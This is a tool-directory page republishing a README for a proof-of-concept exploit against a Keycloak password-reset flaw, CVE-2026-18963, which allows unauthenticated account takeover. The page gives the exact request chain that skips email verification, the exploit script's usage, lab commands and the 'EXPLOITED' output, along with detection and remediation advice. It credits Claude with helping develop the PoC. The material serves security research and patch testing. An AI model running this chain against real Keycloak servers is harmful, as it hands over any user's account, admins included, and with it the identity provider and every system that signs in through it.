Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-18963-keycloak — Proof-of-concept exploit for CVE-2026-18963, a critical Keycloak reset-credentials bypass enabling unauthenticated account takeover. Includes lab setup, detection guidance, and remediation steps for authorized testing. | Kitploit
Tools/GitHubGitHub/red-darkin/cve-2026-18963-keycloak
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityAuthenticationLearning & Education
GitHubred-darkin/cve-2026-18963-keycloak

CVE-2026-18963-keycloak

Proof-of-concept exploit for CVE-2026-18963, a critical Keycloak reset-credentials bypass enabling unauthenticated account takeover. Includes lab setup, detection guidance, and remediation steps for authorized testing.

View Repository
318h 20m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-18963 — Keycloak Reset-Credentials Bypass → Account Takeover

Unauthenticated account takeover in Keycloak's reset-credentials flow. An attacker who knows only a username/email can reset any user's password — including admins — without ever receiving the verification email.

CVE CVSS CWE License


⚠️ Disclaimer — Ethical use only

This proof of concept is published strictly for educational purposes, defensive research, detection engineering, and authorized security testing.

  • Use it only against systems you own or have explicit written authorization to test. Accessing or modifying systems without permission is illegal and unethical.
  • This is a defensive/educational resource meant to help teams understand, detect, and remediate CVE-2026-18963 — not to attack third parties.
  • The author (red-darkin) assumes NO responsibility or liability for any misuse, damage, or illegal activity carried out with this code. You are solely responsible for how you use it and for complying with all applicable laws.
  • By downloading or using this repository you accept these terms. If you do not agree, do not use it.
  • See DISCLAIMER.md for the full statement.


    Summary

    CVECVE-2026-18963
    SeverityCritical — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
    WeaknessCWE-640 — Weak Password Recovery Mechanism
    AffectedKeycloak < 26.7.2 (upstream). Also RH build streams fixed via 26.6.6 / 26.4.15 bundles
    FixedKeycloak 26.7.2 (PR #51844)
    PreconditionsForgot password (reset credentials) enabled on the realm — the default
    ImpactFull account takeover of any user (including realm admins) → IdP compromise + lateral SSO access

    How it works — two bugs chained

    The password-reset (reset-credentials) flow normally forces you to click a link emailed to the account owner before you can set a new password. Two defects let an attacker skip that check entirely:

    1. Unscoped "Try Another Way" state — the authenticator-selector handler stores the note AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" not scoped to the execution ID. Re-entering the flow leaves the authentication session in a confused/stale state.
    2. Missing token check in the email step — ResetCredentialEmail.action() calls context.success() without verifying ACTION_TOKEN_USER_ID (i.e. without confirming the emailed action token was actually consumed).

    Chaining them advances the authentication session straight to the UPDATE_PASSWORD step for an arbitrary user, no email required.

    root@kitploit:~
    GET  /auth (client_id=account)                       ── login page (has "Forgot password?")
    GET  /login-actions/reset-credentials …              ── choose-user form
    POST …reset-credentials      tryAnotherWay=on        ── bug #1: enter "Try Another Way" selector
    POST …reset-credentials      username=<victim>       ── select user via selector
    GET  …/restart …                                     ── refresh session state
    GET  /login-actions/reset-credentials …              ── re-enter → STALE selector (corrupted state)
    POST …reset-credentials      username=<victim>       ── bug #2: jumps to UPDATE_PASSWORD (no token!)
    POST /login-actions/required-action?execution=UPDATE_PASSWORD
            password-new=…&password-confirm=…            ── 302 → password changed → TAKEOVER
    

    See docs/ROOTCAUSE.md for the annotated patch diff.


    Quick start (lab)

    You need Docker and Python 3 with requests.

    root@kitploit:~
    # 1) Spin up a vulnerable Keycloak + demo realm/user  (any version < 26.7.2)
    ./run_lab.sh                 # uses keycloak/keycloak:26.5.0
    
    # 2) Run the exploit against the demo 'victim' user
    pip install requests
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!'
    

    Expected tail:

    root@kitploit:~
    [7] *** update-password form served WITHOUT token ***
    [8] set-password -> HTTP 302
    [+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
    

    Then log in as victim / Pwned-2026! to confirm the takeover.

    Negative control (patched)

    root@kitploit:~
    KC_TAG=26.7.2 ./run_lab.sh
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!'
    # stops early — the update-password form is never served
    

    Usage

    root@kitploit:~
    python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
    
      --base       Keycloak base URL, e.g. http://127.0.0.1:8080
      --realm      target realm (default: master)
      --client     public client without PKCE (default: account)
      --victim     victim username or email
      --new-pass   password to set
      --proxy      route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
      -k           skip TLS verification
    

    Every HTTP response is written to ./dump/ for inspection.


    Proxying through Burp

    Keycloak already uses 8080, so point Burp's listener at another port (e.g. 8081):

    root@kitploit:~
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!' \
        --proxy http://127.0.0.1:8081
    

    Raw request chain for Burp Repeater is in requests/burp-chain.txt.


    Detection

    Look for a password change that was not preceded by email verification in the same authentication session:

    • An UPDATE_PASSWORD event without a preceding VERIFY_EMAIL / EXECUTE_ACTION_TOKEN for that session.
    • Bursts of reset-credentials requests carrying tryAnotherWay=on.
    • Multiple re-entries of login-actions/reset-credentials for the same tab_id.

    Remediation

    • Upgrade to Keycloak 26.7.2 (or the fixed RH build stream) — top priority.
    • Temporary mitigation: Realm settings → Login → Forgot password = Off.
    • Post-patch: rotate admin credentials, force re-login after resets, and alert on the detection signals above.

    References

    • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-18963
    • Fix PR #51844 — https://github.com/keycloak/keycloak/pull/51844
    • Issue #51833 — https://github.com/keycloak/keycloak/issues/51833
    • Red Hat — https://access.redhat.com/security/cve/cve-2026-18963

    Demo

    A full run is recorded in CVE-2026-18963.mp4 (in the repo root).

    Credits

    • red-darkin — lab reproduction, PoC, and write-up.
    • Claude (Anthropic) — research and PoC development assistance.

    Chain corroborated against the public Keycloak patch (PR #51844) and community write-ups.

    License

    MIT © red-darkin — for educational and authorized testing use only.

    Download Tool